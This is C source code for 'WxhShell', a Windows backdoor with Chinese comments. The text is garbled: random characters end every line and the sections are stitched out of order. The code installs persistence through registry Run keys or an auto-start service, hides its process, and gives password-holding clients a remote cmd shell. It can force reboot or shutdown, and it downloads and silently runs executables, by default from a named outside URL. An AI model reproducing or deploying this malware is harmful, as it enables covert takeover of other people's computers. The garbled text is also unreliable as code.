    else { _jLL_GD  
    closesocket(wsh); o]yl ;I  
    ExitThread(0); QZ6D7t Uc8  
    } pR(jglm7-  
    break; NidIVbT.A  
    } v|uAzM{73  
  // 获取shell ABQ('#78  
  case 's': { ';3{T:I  
    CmdShell(wsh); "P 7nNa  
    closesocket(wsh); ; <&*rnH  
    ExitThread(0); ar__ Pf6r  
    break; JmxH"7hTE  
  } B8": 2HrW$  
  // 退出 \NgYTZ  
  case 'x': { TW)c#P43K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (s.0P O`  
    CloseIt(wsh); c6h.iBJ'  
    break; QRHu 3w  
    } {:6r;TB  
  // 离开 ,}3 'I [  
  case 'q': { W42 iu"@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S2HcG 1J  
    closesocket(wsh); )c8rz[i  
    WSACleanup(); fmU {  
    exit(1); 8(pp2rlR  
    break; 1S{D6#bE  
        } J]{QB^?  
  } ]^h]t~  
  } T|nDTezr  
z@!`:'ak  
  // 提示信息 "W6uV!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OLyf8&AU@  
} gG0!C))8  
  } BXtCSfY $  
4Jp:x"w  
  return; K"|l@Q[  
} A)bWcB}U  
Y<N5# );f  
// shell模块句柄 01wX`"I  
int CmdShell(SOCKET sock) mk.9OhYY  
{ uatm/o^~,  
STARTUPINFO si; l4F%VR4KT  
ZeroMemory(&si,sizeof(si)); 2BQ j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cn,d?H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g;pcZ9o  
PROCESS_INFORMATION ProcessInfo; s'!Cp=xQF"  
char cmdline[]="cmd"; J1( 9QN[w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S0zD"T  
  return 0; [w0QZyUn  
} |XQIfW]A  
'GNK"XA^  
// 自身启动模式 +ieY:H[  
int StartFromService(void) @:+8?qcP  
{ |:nn>E}ZA/  
typedef struct !hJ+Lp_  
{ 8<X#f !  
  DWORD ExitStatus; B,?T%  
  DWORD PebBaseAddress; %KsEB*' "  
  DWORD AffinityMask; m8A#~i .  
  DWORD BasePriority; `7c~m ypx  
  ULONG UniqueProcessId; % Qmn-uZ  
  ULONG InheritedFromUniqueProcessId; <^&ehy:7y  
}   PROCESS_BASIC_INFORMATION; XW[j!`nlk  
7I&&bWB  
PROCNTQSIP NtQueryInformationProcess; s2h@~y  
J[l7di5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qX/y5F`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (/=f6^}  
MLXNZd   
  HANDLE             hProcess; GZEc l'h*  
  PROCESS_BASIC_INFORMATION pbi; fT;s-v[`k  
nEJq_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L{X_^  
  if(NULL == hInst ) return 0; qB5j;@ r  
gqZ'$7So  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j]{_s"O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p2#)A"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zNs55e.rx  
xcd#&  
  if (!NtQueryInformationProcess) return 0; (ceNO4"cZ  
X3{G:H0\p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yQ U{ zY  
  if(!hProcess) return 0; WA5&# kg\  
/NLui@|R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h{CL{>d  
=#;3Q~:Jl^  
  CloseHandle(hProcess); \K5DOM "#  
8L, 5Q9 $  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MV5_L3M  
if(hProcess==NULL) return 0; J=\HO8E6>  
5&QJ7B,!  
HMODULE hMod; ?qP7Y nl  
char procName[255]; C_( *>!Z%  
unsigned long cbNeeded; caU0\VS  
'9laa=H%8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fa-IhB1!K  
N@2dA*T,  
  CloseHandle(hProcess); \z>fb%YW  
`nUXDmdwzO  
if(strstr(procName,"services")) return 1; // 以服务启动 v_BcTzQ0S  
@:j}Jmg  
  return 0; // 注册表启动 R_ B7EP  
} B~6&{7 xc%  
P Y_u/<u  
// 主模块 34`'M+3  
int StartWxhshell(LPSTR lpCmdLine) N nRD|A  
{ Nkjza:f{  
  SOCKET wsl; 6g2a[6G5  
BOOL val=TRUE; S'k_olx7  
  int port=0; I& 2c&yO  
  struct sockaddr_in door; IshKH -  
' KP@W9j  
  if(wscfg.ws_autoins) Install(); n&L+wqJ  
4;w;'3zq  
port=atoi(lpCmdLine); sQ=]NF)\  
hB "fhX  
if(port<=0) port=wscfg.ws_port; tWJZoD6}h  
2POXj!N  
  WSADATA data; 44gPCW,u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cA2V2S)  
- \ 5v^l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O@tU.5*$5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?h3Y)5xT  
  door.sin_family = AF_INET; 9{'N{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aAZZ8V  
  door.sin_port = htons(port); }{,^@xdyW  
DH[p\Wy'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,KF 'TsFf  
closesocket(wsl); #pT"BSz]  
return 1; Vrjc~>X  
} *U^6u/iH  
GD&uQ`Y5  
  if(listen(wsl,2) == INVALID_SOCKET) { .!Qki@  
closesocket(wsl); (iBNZ7sJ  
return 1; aEFJ;n7m  
} Z)e/ !~""]  
  Wxhshell(wsl); (lXGmx8  
  WSACleanup(); TCN8a/@z  
SAH-p*.  
return 0; s28`OKC}  
~xbe~$$Q@  
} %d 1,a$*3}  
tnV/xk#!  
// 以NT服务方式启动 QHDXW1+|^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BTl k Etm  
{ NiNM{[3oS  
DWORD   status = 0; p?{Xu4(  
  DWORD   specificError = 0xfffffff; ED2a}Tt>Z  
h2)yq:87  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zE336  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hP=WFD&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bo,_&4?  
  serviceStatus.dwWin32ExitCode     = 0; szb_*)k  
  serviceStatus.dwServiceSpecificExitCode = 0; i#&z2h-b  
  serviceStatus.dwCheckPoint       = 0; >] qc-{>&  
  serviceStatus.dwWaitHint       = 0; &)YQvTzs  
^Xuvy{TkPH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Htay-PB }  
  if (hServiceStatusHandle==0) return; [8.c8-lZ^  
fsmN)_T  
status = GetLastError(); XpIklL7  
  if (status!=NO_ERROR) Km%]1X7T6  
{ IrR7"`.i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V8 e>l[tH  
    serviceStatus.dwCheckPoint       = 0; QEm|])V  
    serviceStatus.dwWaitHint       = 0; d)"3K6s|5  
    serviceStatus.dwWin32ExitCode     = status; 6~0$Z-);(  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z_PNI#h*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bADnW4N`6;  
    return; 8J*"%C$qe  
  } TIx|L  
[=x[ w70  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jz?j[  
  serviceStatus.dwCheckPoint       = 0; ;5wn67'  
  serviceStatus.dwWaitHint       = 0; `Y+J-EQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o=u3&liBi  
} >lmi@UN|k  
$[9%QQk5<L  
// 处理NT服务事件,比如:启动、停止 n+! AnKq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gn22<C/  
{ E_gD:PPU5  
switch(fdwControl) t![7uU.W  
{ fs|)l$Rd  
case SERVICE_CONTROL_STOP: UN7EF/!Zz  
  serviceStatus.dwWin32ExitCode = 0; zUDg&-J3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V@\gS"Tu  
  serviceStatus.dwCheckPoint   = 0; 'QG xd!4  
  serviceStatus.dwWaitHint     = 0; SIe="YG]<  
  { /;{P}-H`ei  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l+ 3[ KCE  
  } *xc_k"\  
  return; h~A/y!s  
case SERVICE_CONTROL_PAUSE: *zNYZ#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V @rI`~$  
  break; %`k6w3qI  
case SERVICE_CONTROL_CONTINUE: [l:x'_y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i}b${n o  
  break; r~[Ia!U?  
case SERVICE_CONTROL_INTERROGATE: f'8kish  
  break; +[Dj5~V  
}; +_7*iJtD5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~)*,S^k(C.  
} `{4i)n%e&  
gwNq x"  
// 标准应用程序主函数 z _g~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^m L@e'r  
{ w;D+y*2  
*RT>`,t/  
// 获取操作系统版本 6~OoFm5  
OsIsNt=GetOsVer(); bf0+DvIB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Z[ft  
w^(<N7B3T  
  // 从命令行安装 ml2_ ]3j!  
  if(strpbrk(lpCmdLine,"iI")) Install(); :WC2Ax7$2  
t4{rb, }W  
  // 下载执行文件 &6DMk-  
if(wscfg.ws_downexe) { 1h(0IjG8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3E7ULK  
  WinExec(wscfg.ws_filenam,SW_HIDE); D@C-5rmq  
} yh^!'!I6u[  
z+x\(/  
if(!OsIsNt) { 2Fy>.*,?  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wi>!{.}%A  
HideProc(); M]<?k]_p  
StartWxhshell(lpCmdLine); U2$d%8G  
} |\w=u6jX  
else ^*S ,xP  
  if(StartFromService()) wU8Mt#D!  
  // 以服务方式启动 ADZ};:]  
  StartServiceCtrlDispatcher(DispatchTable); QS0:@.}$E)  
else PEc,l>u9  
  // 普通方式启动 m[i+knYX  
  StartWxhshell(lpCmdLine); Kfm5i Q  
F8hw #!Aq  
return 0; XttqO f  
} KuWWUjCE  
h a|C&G  
n-5W*zk1  
'AzDP;6qFI  
=========================================== Y_}mYvJW  
uB |Ss  
m_hN*v Py  
$`APHjijN  
d#6`&MR  
a5 *2h{i  
" Y;nZ=9Sw  
Z 1zVwHa_  
#include <stdio.h> "~E[)^ANxD  
#include <string.h> ,PlO8;5]  
#include <windows.h> dG@"!!,  
#include <winsock2.h> L93l0eEt  
#include <winsvc.h> u?>B)PW  
#include <urlmon.h> DQMHOd7g  
cQG +$0(  
#pragma comment (lib, "Ws2_32.lib") ?/TSi0R  
#pragma comment (lib, "urlmon.lib") rJFc({ 0  
qNI, 62  
#define MAX_USER   100 // 最大客户端连接数 )q 0.0<f  
#define BUF_SOCK   200 // sock buffer dlU'2Cl7d  
#define KEY_BUFF   255 // 输入 buffer ur*T%b9&  
(E/lIou  
#define REBOOT     0   // 重启 Fd?"-  
#define SHUTDOWN   1   // 关机 u7bLZU 0  
[FK<96.nt  
#define DEF_PORT   5000 // 监听端口 OF%B[h&   
?in|qevL  
#define REG_LEN     16   // 注册表键长度 dX\.t <  
#define SVC_LEN     80   // NT服务名长度 "8'@3$>R=  
3VuW#m#j  
// 从dll定义API +${D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V I,ACj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }YjX3|8zL=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > *@y8u*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (*1v\Q  
|nbf'  
// wxhshell配置信息 sBu=e7  
struct WSCFG { VmCW6 G#M  
  int ws_port;         // 监听端口 \Z^TXyu   
  char ws_passstr[REG_LEN]; // 口令 .udv"?!z  
  int ws_autoins;       // 安装标记, 1=yes 0=no RbCPmiZcH  
  char ws_regname[REG_LEN]; // 注册表键名 A; 5n:Sd  
  char ws_svcname[REG_LEN]; // 服务名 ,B08i o-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SaC d0. h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7uT:b!^f[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a UxGzMZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kh(ZU^{n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .U"8mP=&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7~9S 9  
ygeDcnvR]  
}; U`,0]"Qk  
FW) x:2BG  
// default Wxhshell configuration m.px>v-  
struct WSCFG wscfg={DEF_PORT, 9m|kgY# 4  
    "xuhuanlingzhe", p`nPhk,:b  
    1, ;2@BO-3K  
    "Wxhshell", +zu(  
    "Wxhshell", m~@;~7Ix  
            "WxhShell Service", ?s\ OUr  
    "Wrsky Windows CmdShell Service", 3ia^\ jw  
    "Please Input Your Password: ", ?I/qE='*  
  1, z>jUR,!GT  
  "http://www.wrsky.com/wxhshell.exe", }K1JU`Lz  
  "Wxhshell.exe" T|6jGZS^|W  
    }; {D? 50Q  
4&xZ]QC)O5  
// 消息定义模块 PlF87j (  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AgOp.~*Z~V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5~Cakd ]>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I#m-g-J  
char *msg_ws_ext="\n\rExit."; Y7#-Fra0W  
char *msg_ws_end="\n\rQuit."; WX}xmtLs  
char *msg_ws_boot="\n\rReboot..."; uum;q-"  
char *msg_ws_poff="\n\rShutdown..."; F.-R r  
char *msg_ws_down="\n\rSave to "; lE!a  
GM<BO8Y.  
char *msg_ws_err="\n\rErr!"; @mE)|.f  
char *msg_ws_ok="\n\rOK!"; af#pR&4}   
O=v#{ [  
char ExeFile[MAX_PATH]; uHH/rMV  
int nUser = 0; L f"i !  
HANDLE handles[MAX_USER]; c~{9a_G  
int OsIsNt; {~h*2n  
s <   
SERVICE_STATUS       serviceStatus; W?0 lV5/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YoN*:jB<M  
bV edFm  
// 函数声明 ?pYKZg /c  
int Install(void); U7!.,kR-  
int Uninstall(void); !O.[PH(,*  
int DownloadFile(char *sURL, SOCKET wsh); )x}l3\s  
int Boot(int flag); *<E]E?  
void HideProc(void); 'xhcuVl  
int GetOsVer(void); /" ${$b{  
int Wxhshell(SOCKET wsl); $e\h}A6  
void TalkWithClient(void *cs); 1z&Ly3  
int CmdShell(SOCKET sock); cTD!B% x  
int StartFromService(void); B=>RH!&  
int StartWxhshell(LPSTR lpCmdLine); Q:|l`*.R  
K =C!b?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oY1';&BO9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '"?C4mbSl  
'"<6.,Ae  
// 数据结构和表定义 =Zu^80/  
SERVICE_TABLE_ENTRY DispatchTable[] = /n5F(5<  
{ O(tX8P Q5N  
{wscfg.ws_svcname, NTServiceMain}, }tH[[4tw,  
{NULL, NULL} |,#t^'S!  
}; p8kr/uMP ;  
R)M_|ca  
// 自我安装 f6_];]yP  
int Install(void) Xcrk;!IB?  
{ pM{nh00[  
  char svExeFile[MAX_PATH]; f;&]:2.j  
  HKEY key; bHht d_}  
  strcpy(svExeFile,ExeFile); V?P,&c?84  
4Ue_Y 'LmM  
// 如果是win9x系统,修改注册表设为自启动 a 4=N9X  
if(!OsIsNt) { <+^6}8-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p. R2gl1m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3' ~gvi I  
  RegCloseKey(key); B|C/ Rk6?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +$$$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #'-Sh7ycW  
  RegCloseKey(key); .s<*'B7&  
  return 0; v1|Bf8  
    } J[A14z]#`  
  } /0W9g  
} @*0cMO;SpG  
else { _bzqd" 31I  
a@@M+9Q  
// 如果是NT以上系统,安装为系统服务 21ppSN >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }w/;){gu  
if (schSCManager!=0) Iq#ZhAk  
{ -pU|hSW*b  
  SC_HANDLE schService = CreateService *\wp?s>-t  
  ( d{3@h+zL  
  schSCManager, oT{@_U{*J  
  wscfg.ws_svcname, $`8Ar,Xz`  
  wscfg.ws_svcdisp, E,wVe[0)f  
  SERVICE_ALL_ACCESS, ZT[3aXS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5aBAr  
  SERVICE_AUTO_START, A%Xt|=^_  
  SERVICE_ERROR_NORMAL, Yz4_vePh+5  
  svExeFile, N%7{J  
  NULL, m6MO W&  
  NULL, \":?xh_H  
  NULL, E]J:~H'Er  
  NULL, R g?1-|Tj  
  NULL 6vp *9  
  ); n4R2^gXAw  
  if (schService!=0) q;fKcblKj  
  { l"{Sm6:;-  
  CloseServiceHandle(schService); X*g(q0N<S  
  CloseServiceHandle(schSCManager); a8dXH5_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rrnNn'  
  strcat(svExeFile,wscfg.ws_svcname); u>Rb ?`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'lo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `/"nTB  
  RegCloseKey(key); jYVE8Y)my  
  return 0; iJv48#'ii  
    } ( =16PYs  
  } y8s!M  
  CloseServiceHandle(schSCManager); [3W*9j  
} ;uqx@sx ;  
} E"%2)  
aYn8 ^  
return 1; T# lP!c  
} ~1*A  
`gpQW~*R-;  
// 自我卸载 N7%TYs  
int Uninstall(void) >tG+?Y'{  
{ ? b[n|^wS  
  HKEY key; ,;<RW]r-P  
sBK <zR  
if(!OsIsNt) { 7 uMd ZpD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =39 ?:VoD  
  RegDeleteValue(key,wscfg.ws_regname); EQIUSh)M  
  RegCloseKey(key); `p0ypi3hn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A])P1c. 7"  
  RegDeleteValue(key,wscfg.ws_regname); wNNB;n` l  
  RegCloseKey(key); 2b=)6H1  
  return 0; B51kV0  
  } LhzMAW<L4  
} /ahNnCtu?1  
} Z~6[ Z  
else { o<l 2r  
3Db3xN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~P-*}q2J  
if (schSCManager!=0) ]DvO:tM  
{ |2`"1gt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H]\Zn%.#  
  if (schService!=0) joa5|t!D9  
  { QM5 .f+/  
  if(DeleteService(schService)!=0) { SQWafD  
  CloseServiceHandle(schService); Te{ *6-gO3  
  CloseServiceHandle(schSCManager); BHj\G7,S  
  return 0; B|%tE{F  
  } 02JoA+  
  CloseServiceHandle(schService); DjCx~@  
  } .mL#6P!d3^  
  CloseServiceHandle(schSCManager); U@Tj B  
} -$<O\5cAQ  
} 8BXqZVm.  
Y-~~,Yl~  
return 1; h?UVDzI!O  
} a :HNg  
;`v% sx#  
// 从指定url下载文件 wP"q<W g  
int DownloadFile(char *sURL, SOCKET wsh) K{cbn1\,H  
{ cPn+<M#  
  HRESULT hr; *zVvQ=  
char seps[]= "/"; u-DK_^v4M  
char *token; Rt(J/%;  
char *file; J?n<ydZSH  
char myURL[MAX_PATH]; Zt@Z=r:&  
char myFILE[MAX_PATH]; Gzt=u"FV  
;\y ;  
strcpy(myURL,sURL); w7-WUvxl  
  token=strtok(myURL,seps); XD-^w_  
  while(token!=NULL) ,xths3.K  
  { gJ3c;  
    file=token; N;HIsOT}t  
  token=strtok(NULL,seps); 9.M{M06;  
  } % do1i W  
h4fLl3%H  
GetCurrentDirectory(MAX_PATH,myFILE); \k.vN@K#  
strcat(myFILE, "\\"); ~ eN8|SR  
strcat(myFILE, file); C:\(~D *GS  
  send(wsh,myFILE,strlen(myFILE),0); $v} <'  
send(wsh,"...",3,0); Ulqh@CE)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $_j1kx$  
  if(hr==S_OK) y/_wx(2  
return 0; vt]F U<  
else }Ia 0"J4  
return 1; H5nS%D  
^m7~:=K7WG  
} 3+YbA)i;  
h ?#@~  
// 系统电源模块 jB@4b 'y  
int Boot(int flag) !rTmR@e$/  
{ (:\LWJX0=  
  HANDLE hToken; G+"8l!dC?  
  TOKEN_PRIVILEGES tkp; (U87}}/l  
;RN8\re  
  if(OsIsNt) { m-1?\bs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _MYx%Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;?IT)sNY  
    tkp.PrivilegeCount = 1; `Y3(~~YGn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }qC SS<a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xRDiRj  
if(flag==REBOOT) { &K:' #[3V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #iis/6"  
  return 0; J\W-dI  
} <>4!XPo%J  
else { s` >H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OM9 6`  
  return 0; 'M'w,sID  
} @R:#"  
  } f\ "`7  
  else { l+ T, 2sd  
if(flag==REBOOT) { C ?H{CP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V,QwN&  
  return 0; WOndE=(V  
} 2eok@1  
else { v@T'7?s.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]b[,LwB\`~  
  return 0; rm+v(&  
} (:$9%,x  
} EI`vVI  
3-Y=EH_0  
return 1; Sa]Ek*  
} V 4qtaHf  
5RA<Z.  
// win9x进程隐藏模块 W7!.#b(hU  
void HideProc(void) eihZp  
{ kl{6]39  
^!>.97*   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4DML  
  if ( hKernel != NULL ) mC(u2  
  { ^eTZn[qH>w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kMe@+ysL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QTh0 SL  
    FreeLibrary(hKernel); ;?im(9h"v!  
  } #)i&DJ^Y  
aG3k4  
return; 5upShtC  
} 4%bTj,H#  
Hptq,~_t  
// 获取操作系统版本 >_#)3K1y8  
int GetOsVer(void) g.*&BXZi  
{ {a4xF2  
  OSVERSIONINFO winfo; (Nt[v;BnO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D=w9cKa  
  GetVersionEx(&winfo); 9H$g?';  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $y6rvQ 2>S  
  return 1; 5fq.*1f  
  else cqg=8$RB  
  return 0; {( HxG4~  
} 8*k oxS  
RV]a%mVlM  
// 客户端句柄模块 BD1K H;  
int Wxhshell(SOCKET wsl) 7&t~R}&|  
{ &|,s{?z2  
  SOCKET wsh; %<S7  
  struct sockaddr_in client; -><QFJ  
  DWORD myID; O|(o8 VS  
T5{T[YdX<  
  while(nUser<MAX_USER) >40 GP#Vz  
{ Gmgeve  
  int nSize=sizeof(client); a#R %8)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IuKnM`X  
  if(wsh==INVALID_SOCKET) return 1; K50t%yu#T]  
nL\ZId  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nh.b/\o  
if(handles[nUser]==0) -y<x!61  
  closesocket(wsh); rIp'vy S\p  
else gN\*Y  
  nUser++; qnTi_c  
  } `Of[{.Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u S(@?m$  
[#zE. TW  
  return 0; JB'qiuhab  
} <"NyC?b+G  
6 <r2*`  
// 关闭 socket toN  
void CloseIt(SOCKET wsh) 4 f3=`[%  
{ !SN WB  
closesocket(wsh); |<QI%Y$dr  
nUser--; wV %8v\  
ExitThread(0); V4oak!}?  
} d.b?! kn  
6o9sR)c ?  
// 客户端请求句柄 |3"NwM>  
void TalkWithClient(void *cs) /9TL&_A-T  
{ N7+#9S5fv  
lSs^A@s  
  SOCKET wsh=(SOCKET)cs; aC}vJ93i  
  char pwd[SVC_LEN]; xtu]F  
  char cmd[KEY_BUFF]; n1JC?+  
char chr[1]; UJ9q-r  
int i,j; dRM5urR6,  
:MdEr//w  
  while (nUser < MAX_USER) { XzlIW&"uC  
^h"n03VFA  
if(wscfg.ws_passstr) { t3Qm-J}wSB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7rJ9 }/<I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ArO$X3\  
  //ZeroMemory(pwd,KEY_BUFF); K#iK6)tS  
      i=0; #EEG>M*xB  
  while(i<SVC_LEN) { s|BX> 1  
Y)5)s0}  
  // 设置超时 @>gD1Q7v b  
  fd_set FdRead; 7s$6XO!  
  struct timeval TimeOut; gRw.AXR a  
  FD_ZERO(&FdRead); ZtKQ]jV&@  
  FD_SET(wsh,&FdRead); dqL  -'  
  TimeOut.tv_sec=8; KWtu,~O_u  
  TimeOut.tv_usec=0; Sn+FV+D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u% r!?-z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nh?9R&  
4*YOFU}l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;4[ k;5  
  pwd=chr[0]; X9z:D>   
  if(chr[0]==0xd || chr[0]==0xa) { ;7wwY$PBH  
  pwd=0; ;!^ +N  
  break; ./'; P <)  
  } pqkcf \  
  i++; - a   
    } CL EpB2_  
$dr27tse&<  
  // 如果是非法用户,关闭 socket V> 1D1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y4 dp1<t%  
} kT>r<`rt  
J& n ^y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9$:QLE+t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -MQZiq7H4  
B-B?Ff>  
while(1) { Zm`'MsgFr  
:QxL 9&"  
  ZeroMemory(cmd,KEY_BUFF); +p8qsT#7  
:Pj W:]  
      // 自动支持客户端 telnet标准   g?w2J6Z.`J  
  j=0; M" xZz  
  while(j<KEY_BUFF) { uDpf2(>s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 87&KQ_  
  cmd[j]=chr[0]; RI#lI~&)  
  if(chr[0]==0xa || chr[0]==0xd) { }g%KvYB_  
  cmd[j]=0; _ .-o%6  
  break; u-8X$aJ  
  } "sz.v<F0:s  
  j++; y|FBYcn#F  
    } v@F|O8t:s  
lNq:JVJ#\r  
  // 下载文件 Jslk  
  if(strstr(cmd,"http://")) { Q x9>,e6+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E`A<]dAoK  
  if(DownloadFile(cmd,wsh)) L"Qh_+   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5ajM,i/K  
  else R>/QA RX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~uP r]#  
  } ?7fQ1/emhO  
  else { vgUhN_rK  
J- @o@!o  
    switch(cmd[0]) { ?/o2#iJx  
  /%N31   
  // 帮助 ws*~$x?7  
  case '?': { Z/XM `Cy  
